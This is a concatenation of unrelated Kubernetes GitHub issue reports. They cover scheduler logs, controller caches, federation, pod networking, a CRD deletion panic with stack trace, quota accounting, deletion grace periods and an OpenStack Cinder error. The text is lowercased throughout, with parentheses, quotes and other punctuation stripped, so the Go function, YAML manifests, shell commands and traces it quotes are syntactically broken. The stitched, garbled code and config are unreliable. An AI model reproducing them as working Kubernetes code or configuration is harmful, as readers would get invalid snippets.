@pwittrock   there's another strange line in the scheduler logs:      2016-09-02 11:23:57 utc info    priorities.go:39        combined requested resources 2010 from existing pods exceeds capacity 2000 on node gke-jenkins-e2e-default-pool-638c464f-sa7g      it's strange that scheduler sees an overcommited node in the priorities function, especially in the cluster in which all pods do specify request.

follow-up to  40385\r \r we need to make all controllers wait for the caches they rely on to sync before beginning their processing loops.\r \r -      pkg/controller/volume/attachdetach/attach_detach_controller.go \r -     ...

there may be scenarios where there is a need to federate k8s clusters on private-cloud  on-premise  environments.\r listed below are some of the tasks to achieve the scenario above\r \r -  x  federation control plane deployment itself should be able to be deployed in non-cloud environments.  40516\r -  x  should be possible to disable persistent storage for etcd.  40862\r -  x  ability to configure desired dns provider. public dns servers  aws route53/ google clouddns  or private dns servers  e.g. coredns   40528 \r -  x  document federation coredns support. https://github.com/kubernetes/kubernetes.github.io/pull/2810\r -  x  coredns federation provider should support etcd with tls  47049\r -     document using hosted dns providers  aws route53/ google clouddns  in non-cloud environments.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r patchnodetaints\r controller_utils\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r while working on  46215 i saw that the helper function  patchnodetaints  under  kubernetes/pkg/controller/controller_utils.go  was using deepcopies on the old node to create a new one, but since  patchnodetaints  gets always a newnode with updated taints as param, deepcopy + update is unnecessary : \r \r    go\r func patchnodetaints c clientset.interface, nodename string, oldnode  v1.node, newnode  v1.node  error {\r \tolddata, err := json.marshal oldnode \r \tif err != nil {\r \t\treturn fmt.errorf \ failed to marshal old node % v for node %q: %v\ , oldnode, nodename, err \r \t}\r \r \tnewtaints := newnode.spec.taints\r \tobjcopy, err := api.scheme.deepcopy oldnode \r \tif err != nil {\r \t\treturn fmt.errorf \ failed to copy node object % v: %v\ , oldnode, err \r \t}\r \tnewnode, ok :=  objcopy .  v1.node \r \tif !ok {\r \t\treturn fmt.errorf \ failed to cast copy onto node object % v: %v\ , newnode, err \r \t}\r \tnewnode.spec.taints = newtaints\r \tnewdata, err := json.marshal newnode \r \tif err != nil {\r \t\treturn fmt.errorf \ failed to marshal new node % v for node %q: %v\ , newnode, nodename, err \r \t}\r \r \tpatchbytes, err := strategicpatch.createtwowaymergepatch olddata, newdata, v1.node{} \r \tif err != nil {\r \t\treturn fmt.errorf \ failed to create patch for node %q: %v\ , nodename, err \r \t}\r \r \t_, err = c.core  .nodes  .patch string nodename , types.strategicmergepatchtype, patchbytes \r \treturn err\r }\r \r    \r \r   usage    patchnodetaints  is used on  addorupdatetaintonnode  and  removetaintoffnode , the refactor could be done with no side-effects.\r \r cc @gmarek \r

the   readme.md   https://github.com/kubernetes/apiextensions-apiserver/tree/master/examples/client-go  says that there are examples to show \ how to create/get/list instances of your new resource type\ . \r \r however, none of the examples show how to get a customresource  the instance  but only show how to use the customresourcedefinition.\r \r @ahmetb since you are working on examples, do you want to take this? if not, i'd be happy to work on it!\r \r /cc @sttts

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r i am trying to create a cluster of 3 nodes 1 dedicated master and 2 workers in aws with kubectl version 1.6.6 on ubuntu 16.04 lts using kubeadm.\r \r i followed steps given in this link https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ \r \r used weave-net network overlay with the command kubectl create -f https://git.io/weave-kube-1.6\r \r kubectl get nodes : my master node is in ready state\r \r joined worker 1 and worker 2.\r \r kubectl get nodes : all 3 nodes are in ready state.\r \r i created a deployment with 2 replicas, both pods are in running state with each pod on each worker\r \r worker1  w1  -> pod1  p1 \r worker1  w2  -> pod2  p2 \r \r my exact issue is\r ips of p1 and p2 are unreachable from master\r \r from master -> ping p1 ->  unreachable\r from master -> ping p2 -> unreachable\r \r from w1 -> ping p1 -> working\r from w1 -> ping p2 -> unreachable\r \r from w2 -> ping p1 -> unreachable\r from w2 -> ping p2 -> working\r \r i also tried to reach pods from each other from the bash of each pod using kubectl exec, it also did not work.\r \r inter node pod communication is not working. when i did a tcpdump it shows node is sending arp request.\r \r aws security group rules are fine all tcp and icmp connections are allowed.\r \r what do you guys think where i am doing mistake?\r \r   what you expected to happen  :\r \r inter node pod - pod communication should be possible\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r its happening every time i try to create a cluster. i tried many times with completely fresh instances also\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : 4.4.0-1020-aws\r - install tools: kubeadm\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r upon code inspection, found that kube-proxy server takes into consideration a bind\r address of 0.0.0.0  ipv4 , but does not check for a bind address of ::  all-zeros ipv6 \r when calculating its node ip. \r \r   what you expected to happen  :\r ipv6 address \ ::\  should be taken into consideration when calculating node ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r code inspection.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r when a node starts to evict pods under disk pressure, the deletiontimestamp for some evicted pods are not set properly and still have zero value. it seems that pods created through deployment are having this issue while pods created through daemonset have deletiontimestamp set properly.\r \r   what you expected to happen  :\r pods created through deployment should also have deletiontimestamp set properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r write an app to watch apiserver pods related events. deploy a debian toolbox pod on one node using deployment. put that node under disk pressure like using more than 90% of disk space and consume more disk space from inside the toolbox pod  you can install some packages which uses lots of disk space like gnome-core for debian . \r \r \r   anything else we need to know?  :\r you can find some events related with pod and they only have phase updated to \ failed\  but without setting deletiontimestamp which still has zero value.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : container linux by coreos 1520.4.0\r - kernel  e.g.  uname -a  : linux ip-10-150-64-105 4.13.3-coreos  1 smp wed sep 20 22:17:11 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r the apiserver crash when i delete crd.\r \r   what you expected to happen  :\r \r the apiserver should correctly valiate crd when i create a crd with validation field.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r test.yaml\r \r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: tests.example.com\r spec:\r   group: example.com\r   names:\r     kind: test\r     listkind: testlist\r     plural: tests\r   scope: namespaced\r   version: v1\r   validation:\r     openapiv3schema:\r       type: \ object\ \r       properties:\r         spec:\r           $ref: \  /definitions/zeta\ \r    \r \r 1. create crd\r \r    shell\r kubectl create -f test.yaml\r    \r \r 2. delete crd\r \r    shell\r kubectl delete  -f test.yaml\r    \r \r   anything else we need to know?  :\r \r the logs of apiserver\r \r    \r i0118 03:26:56.117246       1 cache.go:32  waiting for caches to sync for autoregister controller\r e0118 03:26:56.120677       1 customresource_handler.go:283  object has no key \ zeta\ \r e0118 03:26:56.120771       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:367\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:285\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:158\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:126\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:90\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:269\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:257\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:250\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /usr/local/go/src/runtime/asm_amd64.s:2337\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x10 pc=0x2a1bcc9 \r goroutine 2235  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r panic 0x3339cc0, 0x8f2b500 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .getcustomresourcelistercollectiondeleter 0xc42028d100, 0xc4251a9680, 0xc4201228f0, 0xc42bc65978 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:285 +0x49\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer .deleteinstances 0xc42089d720, 0xc4251a9680, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:158 +0x87\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer .sync 0xc42089d720, 0xc424d244a0, 0x11, 0xc42b258de0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:126 +0x2cb\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer . k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.sync -fm 0xc424d244a0, 0x11, 0xc420a9a640, 0x30c6320 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:90 +0x3e\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer .processnextworkitem 0xc42089d720, 0x956200 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:269 +0xd4\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer .runworker 0xc42089d720 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:257 +0x2b\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer . k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.runworker -fm  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:250 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc42562adc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc42562adc0, 0x3b9aca00, 0x0, 0x1, 0xc420055500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc42562adc0, 0x3b9aca00, 0xc420055500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer.  crdfinalizer .run\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/finalizer/crd_finalizer.go:250 +0x193\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r \r    \r linux 10-144-91-87 3.10.0-514.21.1.el7.x86_64  1 smp thu may 25 17:04:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r \r kubeadm\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r  scheduler cache uses pdb names as key to store pdb objects in a map  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/schedulercache/cache.go l435 . using the name could cause a conflict if an object with the same name is created in a different namespace. we should use uid of pdb objects as the key to the map.\r \r 

  \r   what happened  :\r it is not possible to backup an independent disk with most backup programs for vsphere, e.g. veeam. the cloud provider creates pvs in mode \ persistent independent\ \r \r there should be a documented and supported way how to back up vmware kubernetes cluster, even if it says \ don't use backup tools using snapshots, back up your .vmdk files manually\ \r \r   anything else we need to know?  :\r this is already tracked at https://github.com/vmware/kubernetes/issues/302, filling here for a broader audience.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r resource quota manager missed caculating uninitialized pods.\r \r   what you expected to happen  :\r resource quota manager takes uninitialized pods into account.\r the quota used status should record uninitialized pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r     1. create a resource quota\r    \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: test-quota\r spec:\r   hard:\r     cpu: \ 1\ \r     memory: 500mi\r     pods: \ 5\ \r     resourcequotas: \ 1\ \r    \r     2. create an uninitialized pod\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test\r   initializers:\r     pending:\r     - name: podtest.example.com\r spec:\r   containers:\r     - name: redis\r       image: redis:3.0.5\r       resources:\r         requests:\r           cpu: \ 0.5\ \r           memory: 500mi\r         limits:\r           cpu: \ 0.5\ \r           memory: 500mi\r    \r apiserver will return a 504 error but pod has already created, you can list pods with \ includeuninitialized=true\  option.\r     3. view quota usage\r at first, quota usage is as expected.\r    \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: test-quota\r   namespace: default\r spec:\r   hard:\r     cpu: \ 1\ \r     memory: 500mi\r     pods: \ 5\ \r     resourcequotas: \ 1\ \r status:\r   hard:\r     cpu: \ 1\ \r     memory: 500mi\r     pods: \ 5\ \r     resourcequotas: \ 1\ \r   used:\r     cpu: \ 0.5\ \r     memory: 500mi\r     pods: \ 1\ \r     resourcequotas: \ 1\ \r    \r unfortunately, after a while , the quota usage changed as follows.\r    \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: test-quota\r   namespace: default\r spec:\r   hard:\r     cpu: \ 1\ \r     memory: 500mi\r     pods: \ 5\ \r     resourcequotas: \ 1\ \r status:\r   hard:\r     cpu: \ 1\ \r     memory: 500mi\r     pods: \ 5\ \r     resourcequotas: \ 1\ \r   used:\r     cpu: \ 0\ \r     memory: 0\r     pods: \ 0\ \r     resourcequotas: \ 1\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  v 1.9.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

about the metrics data of sched.preempt, we deal the metrics data after calling sched.preempt, not considered the returns of sched.preempt. i think, we shouldn't deal the metrics data when sched.preempt returns err, for example, util.pod or sched.config.disablepreemption, we do nothing about preempt, but still deal metrics.preemptionattempts.inc   etc, it's inappropriate obviously. \r \r the code is as follows:\r sched.preempt pod, fiterror \t\t \t\t\t\r metrics.preemptionattempts.inc  \t\tmetrics.schedulingalgorithmpremptionevaluationduration.observe metrics.sinceinmicroseconds preemptionstarttime  \t\t \t\t\t\tmetrics.schedulingalgorithmpremptionevaluationduration.observe metrics.sinceinmicroseconds preemptionstarttime  \r \r the pr: https://github.com/kubernetes/kubernetes/pull/71118

kubectl cluster-info shows e.g.      > kubectl cluster-info kubernetes master is running at https://52.19.39.28 kubedns is running at https://52.19.39.28/api/v1/proxy/namespaces/kube-system/services/kube-dns kubeui is running at https://52.19.39.28/api/v1/proxy/namespaces/kube-system/services/kube-ui      but kube-dns is not  meaningfully  reachable over http; it gives this error:      {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ no endpoints available for service \\\ kube-dns\\\ \ ,   \ reason\ : \ serviceunavailable\ ,   \ code\ : 503 }      a user reported this, along with a similar error for monitoring-influxdb which i suspect might be the same problem.  i think the problem here is that we show services as running, and suggest an http endpoint, but that http endpoint is invalid for some services  _i think_ .  we should avoid showing endpoints that will give users errors.  it's particularly problematic because  at least on aws  we print the output from  kubectl cluster-info  once  kube-up  succeeds, so the natural thing for users to do is to explore these endpoints.  not sure if gce has the same problem.

per @quinton-hoole's request, i'm attempting to chart a well established path such that we can address some of the larger communications issues.  hopefully this can serve as a jump point for the communications issues we wish to target in the 1.3 cycle.     problem statement  the   overhead   and data flow of the kubernetes control plane has led to a series of artificial limits, or   caps    qps,max-inflight, etc , that have been placed on different system components.  these caps are an attempt to limit the system from overloading the api-server, and to ensure certain slos are met.  the core issue is not that the caps exist, but the fact that the interaction between the components can cause system overload in the first place.    this epic, targeted for 1.3, is intended to help breakdown some of the different facets of this issue as we see them today, and address each aspect independently, provided there are resources available to do so.  the higher level objective would be to fix the system where possible, in order to prevent the degenerative case of overloading from occurring... at all.    breakdown  from operations and tests, we have witnessed the following issues which relate to this broader epic:    p1:   there are a large number of connections in the system.   21081   - _worst offenders are not quantified?_ -   a1.1:   analyze api-server metrics, and add metrics on who is creating the most connections, investigate their usage, and optimize their workflow.  different solutions may exist depending on the situation, which in turn may become their own issues.   this is a meta-problem . - _each new connection incurs an overhead in the system  tls+kernel+application , and there isn't a single choke-point to throttle during overloaded situations._ -   a1.2:   pursue http2 for internal communications, each component should have only 1, or 2 connections to the main api-server, as well as golang 1.6 for the decreased ec/tls overhead.      p2:   components do not properly back-off under extraneous load conditions.  - _we can create a number of conditions which can cause the system to overload, e.g. fail-over, or aggressive loading._ -   a2.1:   once we've addressed p1, and have a single choke-point it's relatively trivial to back-off during loaded situations.     p3  :  enconding and decoding dominate api-server load  -   a3.1:   we've known this for a long time, and there are a series of issues around protobuf and grpc to address. @wojtek-t has an issue list.   /cc @kubernetes/sig-scalability @jeremyeder

see  networking features wiki  https://github.com/kubernetes/kubernetes/wiki/networking-features-under-development  for more details and links.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r delete deployment grace-period \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r \r   kubernetes version   \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4+3b417cc\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ not a git tree\ , builddate:\ 2016-10-21t22:33:18z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : google container-vm image\r -   kernel    e.g.  uname -a  : linux gke-cluster-gcp-west-web-default-pool-69bff2b4-glmi 4.4.21+  1 smp thu nov 10 21:43:53 pst 2016 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux\r \r \r   what happened  :\r ran  kubectl delete --grace-period=600 deploy $deployment , prestop is executed but after 30 seconds the pods is force deleted. thus, ignoring the grace-period\r \r running  kubectl delete --grace-period=600 pod $podpartofdeployment  does respect the grace-period \r \r   what you expected to happen  :\r pods part of the deployment should have --grace-period to gracefully shutdown\r \r   how to reproduce it    as minimally and precisely as possible :\r create a deployment with a prestop hook that sleep for 100s.\r run  kubectl delete --grace-period=600 deploy $deployment  will shut down the pod after 30 second\r run  kubectl delete --grace-period=600 pod $podpartofdeployment  will shut down the pod after 100s.\r \r   anything else do we need to know  :\r \r

seen in https://github.com/kubernetes/kubernetes/pull/45932\r \r    \r go test k8s.io/kubernetes/pkg/controller/certificates -o certificates.test\r go get golang.org/x/tools/cmd/stress\r stress ./certificates.test -test.run testcertificatecontroller$\r    \r \r @mikedanese happy to send a fix but didn't know if this might have been address with your current refactors.\r \r output:\r \r    \r 103 runs so far, 0 failures\r \r /tmp/go-stress671140097\r --- fail: testcertificatecontroller  0.00s \r \tcertificate_controller_test.go:73: expected 3 actions\r \tcertificate_controller_test.go:79: unexpected action: testing.updateactionimpl{actionimpl:testing.actionimpl{namespace:\ \ , verb:\ update\ , resource:schema.groupversionresource{group:\ certificates.k8s.io\ , version:\ v1beta1\ , resource:\ certificatesigningrequests\ }, subresource:\ approval\ }, object:  v1beta1.certificatesigningrequest  0xc4203d41c0 }\r panic: runtime error: index out of range  recovered \r \tpanic: runtime error: index out of range\r \r goroutine 10  running :\r testing.trunner.func1 0xc4206152b0 \r \t/usr/local/go/src/testing/testing.go:622 +0x29d\r panic 0x194a260, 0x26ac670 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/controller/certificates.testcertificatecontroller 0xc4206152b0 \r \t/home/eric/src/k8s.io/kubernetes/pkg/controller/certificates/certificate_controller_test.go:81 +0x675\r testing.trunner 0xc4206152b0, 0x1b91968 \r \t/usr/local/go/src/testing/testing.go:657 +0x96\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:697 +0x2ca\r \r \r error: exit status 2\r \r \r /tmp/go-stress734739564\r --- fail: testcertificatecontroller  0.00s \r \tcertificate_controller_test.go:73: expected 3 actions\r \tcertificate_controller_test.go:79: unexpected action: testing.updateactionimpl{actionimpl:testing.actionimpl{namespace:\ \ , verb:\ update\ , resource:schema.groupversionresource{group:\ certificates.k8s.io\ , version:\ v1beta1\ , resource:\ certificatesigningrequests\ }, subresource:\ approval\ }, object:  v1beta1.certificatesigningrequest  0xc4205681c0 }\r panic: runtime error: index out of range  recovered \r \tpanic: runtime error: index out of range\r \r goroutine 11  running :\r testing.trunner.func1 0xc4204b8820 \r \t/usr/local/go/src/testing/testing.go:622 +0x29d\r panic 0x194a260, 0x26ac670 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/controller/certificates.testcertificatecontroller 0xc4204b8820 \r \t/home/eric/src/k8s.io/kubernetes/pkg/controller/certificates/certificate_controller_test.go:81 +0x675\r testing.trunner 0xc4204b8820, 0x1b91968 \r \t/usr/local/go/src/testing/testing.go:657 +0x96\r created by testing.  t .run\r \t/usr/local/go/src/testing/testing.go:697 +0x2ca\r \r \r error: exit status 2\r \r 204 runs so far, 2 failures\r

is this a bug report or feature request?  : \r \r  \r \r   what happened  :\r \r when localstoragecapacityisolation feature is enabled,  storage.kubernetes.io/scratch  in node status is always kept 0.\r \r   what you expected to happen  :\r \r  storage.kubernetes.io/scratch  in node status should reflect the real storage capacity.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r enable localstoragecapacityisolation feature and run \r \r    sh\r kubectl describe node | grep storage.kubernetes.io/scratch\r    \r \r   anything else we need to know?  :\r \r advisor reports error on calling  cadvisorinterface.rootfsinfo     refer  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/container_manager_linux.go l228  :  unable to find data for container / \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : no\r - os  e.g. from /etc/os-release : ubuntu xenial\r - kernel  e.g.  uname -a  : 4.8\r - install tools: kubeadm\r

maybe there is a regression concerning the openstack provider plugin for cinder.\r \r i manage to create a pvc in 1.6  and the volume associated in openstack .\r \r however in 1.7, i go the following error  with the same configuration :\r \r    \r e1011 16:13:44.309318       5 openstack_volumes.go:320  failed to create a 3 gb volume: invalid request due to incorrect syntax or missing required parameters.\r \r i1011 16:13:44.309411       5 cinder_util.go:207  error creating cinder volume: invalid request due to incorrect syntax or missing required parameters.\r \r i1011 16:13:44.309458       5 pv_controller.go:1331  failed to provision volume for claim \ default/my-persistent-volume-claim\  with storageclass \ standard\ : invalid request due to incorrect syntax or missing required parameters.\r    \r

